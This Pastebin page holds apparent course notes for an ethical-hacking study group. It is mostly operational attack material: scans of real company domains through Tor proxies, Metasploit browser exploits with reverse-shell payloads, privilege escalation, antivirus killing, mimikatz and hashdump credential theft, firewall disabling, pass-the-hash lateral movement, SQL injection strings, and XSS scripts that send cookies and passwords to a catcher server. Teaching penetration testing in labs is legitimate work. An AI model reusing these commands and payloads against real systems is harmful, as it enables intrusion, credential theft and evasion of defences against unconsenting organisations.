



CEH/CHFI Bundle Study Group Sessions



JOEMCCRAY

PRO



AUG 10TH, 2016 (EDITED)



1,819



NEVER



Not a member of Pastebin yet? [Sign Up](#), it unlocks many cool features!

text 96.26 KB

raw

download

report

diff

```
1. #####
2. # CEH Module 1: Introduction to Ethical Hacking #
3. #####
4.
5. Attacking a large company:
6.
7.
8. #####
9. # Passive Scanning #
10. #####
11.
12. - Wikipedia Page
13.   - Are they Public or Private?
14.   - Does the target have any subsidiaries?
15.
```

16. - Robtex
17. - Show system map
18.
19. - Netcraft
20. - http://toolbar.netcraft.com/site_report
21.
22. - Passive Recon (Firefox Add-on)
23.
24. - Example OSINT Report to review:
25. - https://s3.amazonaws.com/StrategicSec-Files/OSINT_Innophos_11242010.doc
26. #####
27. # VMWare #
28. #####
29. - For this workshop you'll need the latest version of VMWare Workstation (Windows), Fusion (Mac), or Player.
30.
31. - A 30-day trial of Workstation 11 can be downloaded from here:
32. - https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_workstation/11_0
33.
34. - A 30-day trial of Fusion 7 can be downloaded from here:
35. - https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_fusion/7_0
36.
37. - The newest version of VMWare Player can be downloaded from here:
38. - https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_player/7_0
39.
40.
41. - Although you can get the VM to run in VirtualBox, I will not be supporting this configuration for this class.
42.
43.

```
44. #####
45. # Download the attack VM #
46. #####
47. https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu14.zip
48. user: strategicsec
49. pass: strategicsec
50.
51.
52. #####
53. # Download the victim VMs #
54. #####
55. https://s3.amazonaws.com/StrategicSec-VMs/Windows7.zip
56. user: workshop
57. pass: password
58.
59.
60. #####
61. # Day 1: Identifying External Security Mechanisms #
62. #####
63.
64. sudo /sbin/iptables -F
65.     strategicsec
66.
67. cd /home/strategicsec/toolz
68.
69.
70.
71. #####
```

```
72. # Target IP Determination #
73. #####
74.
75. perl blindcrawl.pl -d motorola.com
76.
77. -- Take each IP address and look ip up here:
78. http://www.networksolutions.com/whois/index.jsp
79.
80. cd ~/toolz/fierce2
81. fierce -dns motorola.com
82. cd ..
83.
84. Zone Transfer fails on most domains, but here is an example of one that works:
85. dig axfr heartinternet.co.uk @ns.heartinternet.co.uk
86.
87.
88. cd ~/toolz/
89. ./ipcrawl 148.87.1.1 148.87.1.254          (DNS forward lookup against an IP range)
90.
91.
92. sudo nmap -sL 148.87.1.0-255
93.     strategicsec
94. sudo nmap -sL 148.87.1.0-255 | grep oracle
95.     strategicsec
96.
97.
98.
99. sudo nmap -p 443,444,8443,8080,8088 --script=ssl-cert --open 148.87.1.0-255
```

```
100.     strategicsec
101.
102. Reference:
103. http://blog.depthsecurity.com/2012/01/obtaining-hostdomain-names-through-ssl.html
104.
105.
106.
107. #####
108. # Load Balancer Detection #
109. #####
110.
111. Here are some options to use for identifying load balancers:
112.     - http://toolbar.netcraft.com/site_report
113.     - https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/
114.
115.
116. Here are some command-line options to use for identifying load balancers:
117.
118. dig microsoft.com
119.
120. cd ~/toolz
121. ./lbd-0.1.sh microsoft.com
122.
123.
124. halberd microsoft.com
125. halberd motorola.com
126. halberd oracle.com
127.
```

```
128.
129.
130. #####
131. # Web Application Firewall Detection #
132. #####
133.
134. cd ~/toolz/wafw00f
135. python wafw00f.py http://www.oracle.com
136. python wafw00f.py http://www.strategicsec.com
137.
138.
139. cd ~/toolz/
140. sudo nmap -p 80 --script http-waf-detect.nse oracle.com
141.     strategicsec
142.
143. sudo nmap -p 80 --script http-waf-detect.nse healthcare.gov
144.     strategicsec
145.
146.
147.
148. #####
149. # Scanning Methodology #
150. #####
151.
152. - Ping Sweep
153. What's alive?
154. -----
155. sudo nmap -sP 157.166.226.*
```

```
156.         strategicsec
157.
158.     -if -SP yields no results try:
159. sudo nmap -sL 157.166.226.*
160.         strategicsec
161.
162. - Port Scan
163. What's where?
164. -----
165. sudo nmap -sS 162.243.126.247
166.         strategicsec
167.
168.
169. - Bannergrab/Version Query
170. What versions of software are running
171. -----
172. sudo nmap -sV 162.243.126.247
173.         strategicsec
174.
175.
176. - Vulnerability Research
177. Lookup the banner versions for public exploits
178. -----
179. http://exploit-db.com
180. http://securityfocus.com/bid
181. https://packetstormsecurity.com/files/tags/exploit/
182.
183.
```

```
184.
185. #####
186. # Day 1: 3rd Party Scanning, and scanning via proxies #
187. #####
188.
189. https://www.shodan.io/
190.
191.     Create a FREE account and login
192.
193.     net:129.188.8.0/24
194.
195.
196.
197. cd /home/strategicsec/toolz/
198. perl proxyfinder-0.3.pl multiproxy 3 proxies.txt    <-- This takes a long time to run
199.
200.
201.
202. sudo vi /etc/proxychains.conf                        <--- Make sure that last line of the file is: socks4 127.0.0.1 9050
203.     strategicsec
204.
205.
206.
207.
208. -----
209. vi ~/toolz/fix-proxychains-dns.sh
210.
211. #!/bin/bash
```



```
212. # This script is called by proxychains to resolve DNS names
213. # DNS server used to resolve names
214. # Reference: http://carnal0wnage.attackresearch.com/2013/09/changing-proxychains-hardcoded-dns.html
215. DNS_SERVER=4.2.2.2
216.
217. if [ $# = 0 ] ; then
218. echo " usage:"
219. echo " proxyresolv <hostname> "
220. exit
221. fi
222.
223. export LD_PRELOAD=libproxychains.so.3
224. dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'
225. -----
226.
227.
228. sudo ntpdate pool.ntp.org
229.     strategicsec
230.
231. tor-resolve strategicsec.com
232.
233. proxychains nmap -sT -p80 204.244.123.113
234.
235. proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,445,1433,1521,3306,3389,8080,10000 204.244.123.113
236.
237.
238. If you want to block tor exit nodes you get a list from here:
239. http://rules.emergingthreats.net/blockrules/emerging-tor-BLOCK.rules
```

```
240.
241. You probably should also block things like:
242. http://rules.emergingthreats.net/blockrules/emerging-rbn-BLOCK.rules          <----- Russian Business Network IPs
243. http://rules.emergingthreats.net/blockrules/emerging-botcc.rules             <----- BotNet Command and Control Servers
244. http://rules.emergingthreats.net/blockrules/emerging-rbn-malvertisers-BLOCK.rules  <----- Malware Advertisers
245.
246. Here is where you can download the perl script to automatically update your firewall each day (create a cron job for it).
247. http://doc.emergingthreats.net/bin/view/Main/EmergingFirewallRules
248.
249.
250.
251. #####
252. # Quick Stack Based Buffer Overflow #
253. #####
254.
255. - You can download everything you need for this exercise (except netcat) from the link below
256. https://s3.amazonaws.com/StrategicSec-Files/SimpleExploitLab.zip
257.
258. - Extract this zip file to your Desktop
259.
260. - Go to folder C:\Users\Workshop\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
261.
262. - Open a new command prompt and type:
263. nc localhost 9999
264.
265. - In the new command prompt window where you ran nc type:
266. HELP
267.
```

268. - Go to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts
269. - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
270.
271. - Now double-click on 1-simplefuzzer.py
272. - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
273.
274.
275. - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
276.
277. - Now go to folder C:\Users\Workshop\Desktop\ExploitLab\3-0llyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
278.
279. - Go back to folder C:\Users\Workshop\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
280.
281. - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
282.
283. - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
284.
285. - Calculate the distance to EIP by running script 3-3000chars.py
286. - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
287.
288. 4-count-chars-to-EIP.py
289. - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
290. - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
291.
292. 5-2006char-eip-check.py
293. - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
294.

```
295. 6-jmp-esp.py
296. - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
297.
298. 7-first-exploit
299. - In this script we actually do the stack overflow and launch a bind shell on port 4444
300.
301. 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
302.
303.
304. -----
305.
306. cd /home/strategicsec/toolz/metasploit/modules/exploits/windows/misc
307.
308. vi vulnserv.rb    (paste the code into this file)
309.
310.
311.
312. cd ~/toolz/metasploit
313.
314. ./msfconsole
315.
316.
317.
318. use exploit/windows/misc/vulnserv
319. set PAYLOAD windows/meterpreter/bind_tcp
320. set RHOST 192.168.88.129
321. set RPORT 9999
322. exploit
```

```
323.
324.
325.
326. #####
327. # Download the victim VMs #
328. #####
329.
330. - Strategic Security Ubuntu Virtual Machine
331. https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu14.zip
332. user: strategicsec
333. pass: strategicsec
334.
335.
336. - Windows 7 Virtual Machine
337. https://s3.amazonaws.com/StrategicSec-VMs/Windows7.zip
338. user: workshop
339. pass: password
340.
341.
342. #####
343. # Find/Replace #
344. #####
345. StrategicSec-VM-IP - Please replace Win7-VM-IP with the IP address of your Strategic Security Ubuntu host
346.
347. Win7-VM-IP - Please replace Win7-VM-IP with the IP address of your Windows 7 victim host
348.
349.
350.
```

```
351. #####
352. # Boot up the StrategicSec Ubuntu host #
353. # You can also boot up the Win7 as well#
354. #####
355.
356. - Log in to your Ubuntu host with the following credentials:
357.     user: strategicsec
358.     pass: strategicsec
359.
360.
361.
362. - I prefer to use Putty to SSH into my Ubuntu host on pentests and I'll be teaching this class in the same manner that I do pentests.
363. - You can download Putty from here:
364. - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
365.
366.
367. - For the purpose of this workshop my Win7 VM IP address is: Win7-VM-IP so anytime you see that IP you'll know that's my Win7 VM
368. - StrategicSec-VM-IP is my Ubuntu IP address so anytime you see that IP you'll know that's my Ubuntu host
369.
370. - Type the following commands
371. sudo /sbin/iptables -F
372.     strategicsec
373.
374. cd ~/toolz/metasploit
375.
376.
377. #####
378. # Attacking Windows 7 #
```

```
379. #####
380.
381.
382. sudo /sbin/iptables -F
383.     strategicsec
384.
385. cd ~/toolz/metasploit
386.
387. ./msfconsole
388.
389. use exploit/windows/browser/ie_cgenericelement_uaf
390.
391. set ExitOnSession false
392.
393. set URIPATH /ie8
394.
395. set PAYLOAD windows/meterpreter/reverse_tcp
396.
397. set LHOST StrategicSec-VM-IP
398.
399. exploit -j
400.
401.
402. - Now from the Win7 host, use Internet Explorer 8 to connect to the exploit address (local address)
403. - given to you by metasploit.
404.
405. - The address will be something like:
406.
```

```
407. http://StrategicSec-VM-IP:8080/ie8
408.
409.
410.
411. - This will simulate a victim clicking on your malicious link and being exploited with a browser exploit.
412.
413.
414. #####
415. # Client-Side Enumeration #
416. #####
417.
418.
419. - You can list the active sessions by typing:
420.
421. sessions -l
422.
423.
424.
425.
426. - You can "interact" with any active session by typing sessions -i 3 (replace 3 with the session number you want to interact with)
427.
428.
429. sessions -i 1
430.
431.
432.
433.
434.
```



```
435. - You should now see Metasploit's meterpreter prompt.
436.
437.
438. ***** Figure out who and where you are *****
439.
440. meterpreter> sysinfo
441.
442.
443. meterpreter> getuid
444.
445.
446. meterpreter> ipconfig
447.
448.
449. meterpreter> run post/windows/gather/checkvm
450.
451.
452. meterpreter> run get_local_subnets
453.
454.
455.
456. ***** Escalate privileges and get hashes *****
457.
458.
459. meterpreter> use priv
460.
461.
462. --Option 1: GetSystem
```

```
463. meterpreter> getsystem
464.
465. --Option 2:
466. meterpreter > run post/windows/escalate/getsystem
467.
468. --Option 3:
469. meterpreter> background
470. back
471. use post/windows/escalate/droplnk
472. set SESSION 1
473. set PAYLOAD windows/meterpreter/reverse_tcp
474. set LHOST StrategicSec-VM-IP
475. set LPORT 1234
476. exploit
477.
478. --Option 4:
479. use exploit/windows/local/bypassuac
480. set SESSION 1
481. set PAYLOAD windows/meterpreter/reverse_tcp
482. set LHOST StrategicSec-VM-IP
483. set LPORT 12345
484. exploit
485.
486. --Option 5:
487. use exploit/windows/local/service_permissions
488. set SESSION 1
489. set PAYLOAD windows/meterpreter/reverse_tcp
490. set LHOST StrategicSec-VM-IP
```

```
491. set LPORT 5555
492. exploit
493.
494. --Option 6:
495. use exploit/windows/local/trusted_service_path
496. set SESSION 1
497. set PAYLOAD windows/meterpreter/reverse_tcp
498. set LHOST StrategicSec-VM-IP
499. set LPORT 4567
500. exploit
501.
502.
503. --Option 7:
504. use exploit/windows/local/ppr_flatten_rec
505. set SESSION 1
506. set PAYLOAD windows/meterpreter/reverse_tcp
507. set LHOST StrategicSec-VM-IP
508. set LPORT 7777
509. exploit
510.
511. --Option 8:
512. use exploit/windows/local/ms_ndproxy
513. set SESSION 1
514. set PAYLOAD windows/meterpreter/reverse_tcp
515. set LHOST StrategicSec-VM-IP
516. set LPORT 7788
517. exploit
518.
```

```
519.  
520. --Option 9:  
521. use exploit/windows/local/ask  
522. set SESSION 1  
523. set PAYLOAD windows/meterpreter/reverse_tcp  
524. set LHOST StrategicSec-VM-IP  
525. set LPORT 7799  
526. exploit  
527.  
528.  
529. meterpreter > getuid  
530. Server username: win7-64-victim\Workshop  
531.  
532. meterpreter > getsystem  
533. ...got system (via technique 1).  
534.  
535.  
536. meterpreter > getuid  
537. Server username: NT AUTHORITY\SYSTEM  
538.  
539. -----  
540.  
541.  
542. meterpreter > ps                (search for a process running as NT AUTHORITY\SYSTEM)  
543.  
544. meterpreter > migrate 2800      (your process id WILL NOT be 2800, but make sure you use one that is running at NT AUTHORITY\SYSTEM)  
545.  
546. meterpreter> run killav
```

```
547.
548. meterpreter> run post/windows/gather/hashdump
549.
550. meterpreter> run post/windows/gather/credentials/credential_collector
551.
552.
553. ***** Steal Tokens *****
554.
555. meterpreter > getsystem
556.
557. meterpreter > use incognito
558.
559. meterpreter > list_tokens -u
560.
561. meterpreter > list_tokens -g
562.
563. meterpreter > impersonate_token                <-- choose who you want to impersonate but be sure to use 2 slashes in the
    name (ex: impersonate_token domain\\user)
564.
565. meterpreter> getuid
566.
567.
568. ***** Stealing credentials and certificates *****
569. - NOTE: Most of the stuff after 'kerberos' DOES NOT work, but is given here so you know the correct syntax to use when connected to
    AD or dealing with smart/CAC cards.
570.
571. meterpreter > getsystem
572.
```

```
573. meterpreter > load mimikatz
574.
575. meterpreter > kerberos
576.
577. meterpreter > mimikatz_command -f sekurlsa::logonPasswords -a "full"
578.
579. meterpreter > msv                                     <-- Your AD password
580.
581. meterpreter > livessp                                 <-- Your Windows8 password
582.
583. meterpreter > ssp                                     <-- Your outlook password
584.
585. meterpreter > tspkg                                   <-- Your AD password
586.
587. meterpreter > wdigest                                 <-- Your AD password
588.
589. meterpreter > mimikatz_command -f crypto::listStores
590.
591. meterpreter > mimikatz_command -f crypto::listCertificates
592.
593. meterpreter > mimikatz_command -f crypto::exportCertificates CERT_SYSTEM_STORE_CURRENT_USER
594.
595. meterpreter > mimikatz_command -f crypto::patchcapi
596.
597. meterpreter> search -d <directory> -f <file-pattern>
598.
599.
600. ***** Enumerate the host you are on *****
```

```
601.
602. meterpreter > run getcountermeasure
603.
604. meterpreter> run winenum
605.
606. meterpreter > run post/windows/gather/enum_applications
607.
608. meterpreter > run post/windows/gather/enum_logged_on_users
609.
610. meterpreter > run post/windows/gather/usb_history
611.
612. meterpreter > run post/windows/gather/enum_shares
613.
614. meterpreter > run post/windows/gather/enum_snmp
615.
616. meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
617.
618.
619. ***** FIX PSEXEC *****
620.
621. - We use the shell command to get to the Victim Dos command so we can add a registry field.
622.
623. meterpreter > execute -c -H -f cmd -a "/k" -i
624. reg /?
625.
626.
627. - Created a registry field to the Victim computer, this will allow us to access the machine using and exploit via PSEXEC.
628.
```

```
629. C:\Windows\system32> reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t
REG_DWORD /d 1
630.
631.
632. c:\Windows\system32> netsh advfirewall set allprofiles state off
633.
634. ***** Lateral Movement *****
635.
636.
637. Now we can run the PSEXEC exploit.
638. -- Option 1:
639. use exploit/windows/smb/psexec
640.
641. set SMBUser Workshop
642.
643. set SMBPass password
644.
645. set RHOST Win7-VM-IP
646.
647. set payload windows/meterpreter/reverse_tcp
648.
649. set LHOST StrategicSec-VM-IP
650.
651. set LPORT 2345
652.
653. exploit
654.
655.
```



```
656.
657.
658. -- Option 2:
659. use exploit/windows/smb/psexec
660.
661. set SMBUser Workshop
662.
663. set SMBPass aad3b435b51404eeaad3b435b51404ee:8846f7eaae8fb117ad06bdd830b7586c
664.
665. set payload windows/meterpreter/reverse_tcp
666.
667. set RHOST Win7-VM-IP
668.
669. set LHOST StrategicSec-VM-IP
670.
671. set LPORT 5678
672.
673. exploit
674.
675.
676.
677. #####
678. # Basic: Web Application Testing #
679. #####
680.
681. Most people are going to tell you reference the OWASP Testing guide.
682. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
683.
```

684. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.

685.

686.

687. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.

688.

689. 1. Does the website talk to a DB?

690. - Look for parameter passing (ex: site.com/page.php?id=4)

691. - If yes - try SQL Injection

692.

693. 2. Can I or someone else see what I type?

694. - If yes - try XSS

695.

696. 3. Does the page reference a file?

697. - If yes - try LFI/RFI

698.

699. Let's start with some manual testing against 54.149.82.150

700.

701.

702. Start here:

703. `http://54.149.82.150/`

704.

705.

706. There's no parameter passing on the home page so the answer to question 1 is NO.

707. There is however a search box in the top right of the webpage, so the answer to question 2 is YES.

708.

709. Try an XSS in the search box on the home page:

710. `<script>alert(123);</script>`

711.

712. Doing this gives us the following in the address bar:

713. `http://54.149.82.150/BasicSearch.aspx?Word=<script>alert(123);</script>`

714.

715. Ok, so we've verified that there is XSS in the search box.

716.

717. Let's move on to the search box in the left of the page.

718.

719. Let's give the newsletter signup box a shot

720.

721. Moving on to the login page.

722. `http://54.149.82.150/login.aspx`

723.

724. I entered a single quote (') for both the user name and the password. I got the following error:

725.

726. Let's try throwing a single quote (') in there:

727.

728. `http://54.149.82.150/bookdetail.aspx?id=2'`

729.

730.

731. I get the following error:

732.

733. Unclosed quotation mark after the character string ''.

734. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

735.

736. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.

737.

```
738.
739.
740.
741.
742.
743.
744.
745.
746.
747. #####
748. # SQL Injection #
749. # https://s3.amazonaws.com/StrategicSec-Files/1-Intro_To_SQL_Intection.pptx #
750. #####
751.
752.
753. - Another quick way to test for SQLI is to remove the paramter value
754.
755.
756. #####
757. # Error-Based SQL Injection #
758. #####
759. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
760. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
761. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
762. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
763. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
764. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--    NOTE: "N" - just means to keep going until you run out of
    databases
```

```
765. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
766. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
767. http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
768.
769.
770.
771.
772. #####
773. # Union-Based SQL Injection #
774. #####
775. http://54.149.82.150/bookdetail.aspx?id=2 order by 100--
776. http://54.149.82.150/bookdetail.aspx?id=2 order by 50--
777. http://54.149.82.150/bookdetail.aspx?id=2 order by 25--
778. http://54.149.82.150/bookdetail.aspx?id=2 order by 10--
779. http://54.149.82.150/bookdetail.aspx?id=2 order by 5--
780. http://54.149.82.150/bookdetail.aspx?id=2 order by 6--
781. http://54.149.82.150/bookdetail.aspx?id=2 order by 7--
782. http://54.149.82.150/bookdetail.aspx?id=2 order by 8--
783. http://54.149.82.150/bookdetail.aspx?id=2 order by 9--
784. http://54.149.82.150/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
785.
786. We are using a union select statement because we are joining the developer's query with one of our own.
787. Reference:
788. http://www.techonthenet.com/sql/union.php
789. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
790. It removes duplicate rows between the various SELECT statements.
791.
792. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
```

793.

794. `http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--`

795.

796. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.

797.

798. `http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--`

799. `http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--`

800. `http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--`

801. `http://54.149.82.150/bookdetail.aspx?id=-2 union all select`
`1,user,@@version,@@servername,5,6,master.sys.fn_varbinto hexstr(password_hash),8,9 from master.sys.sql_logins--`

802.

803.

804.

805.

806.

807. - Another way is to see if you can get the backend to perform an arithmetic function

808. `http://54.149.82.150/bookdetail.aspx?id=(2)`

809. `http://54.149.82.150/bookdetail.aspx?id=(4-2)`

810. `http://54.149.82.150/bookdetail.aspx?id=(4-1)`

811.

812.

813.

814. `http://54.149.82.150/bookdetail.aspx?id=2 or 1=1--`

815. `http://54.149.82.150/bookdetail.aspx?id=2 or 1=2--`

816. `http://54.149.82.150/bookdetail.aspx?id=1*1`

817. `http://54.149.82.150/bookdetail.aspx?id=2 or 1 >-1#`

818. `http://54.149.82.150/bookdetail.aspx?id=2 or 1<99#`

819. `http://54.149.82.150/bookdetail.aspx?id=2 or 1<>1#`

```
820. http://54.149.82.150/bookdetail.aspx?id=2 or 2 != 3--
821. http://54.149.82.150/bookdetail.aspx?id=2 &0#
822.
823.
824.
825.
826.
827. #####
828. # Blind SQL Injection Testing #
829. #####
830. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
831.
832. 3 - Total Characters
833. http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
834. http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
835. http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it
      waited 10 seconds)
836.
837. Let's go for a quick check to see if it's DB0
838. http://54.149.82.150/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
839.
840. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
841.
842. D - 1st Character
843. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
844. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
845. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
```

846. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)

847.

848. B - 2nd Character

849. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds

850. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds

851.

852. O - 3rd Character

853. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds

854. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--

855. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds

856. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds

857. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--

858. http://54.149.82.150/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds

859.

860.

861.

862.

863.

864.

865.

866.

867.
868.
869. #####
870. # What is XSS #
871. # https://s3.amazonaws.com/StrategicSec-Files/2-Intro_To_XSS.pptx #
872. #####
873.
874. OK - what is Cross Site Scripting (XSS)
875.
876. 1. Use Firefox to browse to the following location:
877.
878. http://54.172.112.249/xss_practice/
879.
880. A really simple search page that is vulnerable should come up.
881.
882.
883.
884.
885. 2. In the search box type:
886.
887. <script>alert('So this is XSS')</script>
888.
889.
890. This should pop-up an alert window with your message in it proving XSS is in fact possible.
891. Ok, click OK and then click back and go back to http://54.172.112.249/xss_practice/
892.
893.
894. 3. In the search box type:

```
895.
896.     <script>alert(document.cookie)</script>
897.
898.
899.     This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
900.     Ok, click OK and then click back and go back to http://54.172.112.249/xss_practice/
901.
902. 4. Now replace that alert script with:
903.
904.     <script>document.location="http://54.172.112.249/xss_practice/cookie_catcher.php?c="+document.cookie</script>
905.
906.
907. This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
908.
909.
910. 5. Now view the stolen cookie at:
911.     http://54.172.112.249/xss_practice/cookie_stealer_logs.html
912.
913.
914. The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
915.
916.
917.
918.
919.
920.
921. #####
922. # A Better Way To Demo XSS #
```

923. #####

924.

925.

926. Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.

927.

928.

929. Use Firefox to browse to the following location:

930.

931. `http://54.172.112.249/xss_practice/`

932.

933.

934.

935. Paste this in the search box

936. -----

937.

938.

939. Option 1

940. -----

941.

942. `<script>`

943. `password=prompt('Your session is expired. Please enter your password to continue',' ');`

944. `document.write("");`

945. `</script>`

946.

947.

948. Now view the stolen cookie at:

949. `http://54.172.112.249/xss_practice/passwords.html`

```
950.
951.
952.
953. Option 2
954. -----
955. <script>
956. username=prompt('Please enter your username',' ');
957. password=prompt('Please enter your password',' ');
958. document.write("<img src=\"http://54.172.112.249/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
959. </script>
960.
961.
962.
963.
964. Now view the stolen cookie at:
965. http://54.172.112.249/xss_practice/username_password_logs.html
966.
967.
968.
969.
970. #####
971. # Let's kick it up a notch with ASP.NET #
972. # http://54.200.178.220/                #
973. #####
974.
975.
976. The trading Web App is on http://54.200.178.220/
977.
```

978.

979. Try the following in the search box:

980. <script>alert(123);</script>

981. ' or 1=1

982. ' and a=a

983. 1=1

984. Joe'+OR+1=1;--

985.

986.

987. <script>alert(123);</script>

988.

989. Open a new tab in firefox and try this:

990. http://54.200.178.220/Searchresult.aspx?<script>alert(123);</script>=ScriptName

991.

992.

993. Try the contact us form.

994. Open a new tab in firefox and try this:

995. http://54.200.178.220/OpenPage.aspx?filename=../../../../../../../../windows/win.ini

996.

997. Try this on the inquiry form:

998. Joe McCray

999. 1234567890

1000. joe@strategicsec.com') waitfor delay '00:00:10'--

1001.

1002.

1003. Login Box:

1004.

1005. ' or 1=1 or ''='

```
1006. anything (click login instead of pressing enter)
1007.
1008.
1009.
1010. Tamper Data: (notice 2 session IDs)
1011.
1012. AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
1013. IsAdmin=yes;
1014. ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
1015.
1016.
1017.
1018. Profile - Detail (tamper data)
1019. Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"\r\n\r\njoe\r\n
1020. joe|set
1021.
1022.
1023. xss_upload.txt (Upload Bulk Order)
1024. <script>alert(123);</script>
1025.
1026.
1027.
1028.
1029. #####
1030. # How much fuzzing is enough? #
1031. #####
1032. There really is no exact science for determining the correct amount of fuzzing per parameter to do before moving on to something
else.
```

1033.

1034. Here are the steps that I follow when I'm testing (my mental decision tree) to figure out how much fuzzing to do.

1035.

1036.

1037. Step 1: Ask yourself the 3 questions per page of the site.

1038.

1039. Step 2: If the answer is yes, then go down that particular attack path with a few fuzz strings (I usually do 10-20 fuzz strings per parameter)

1040.

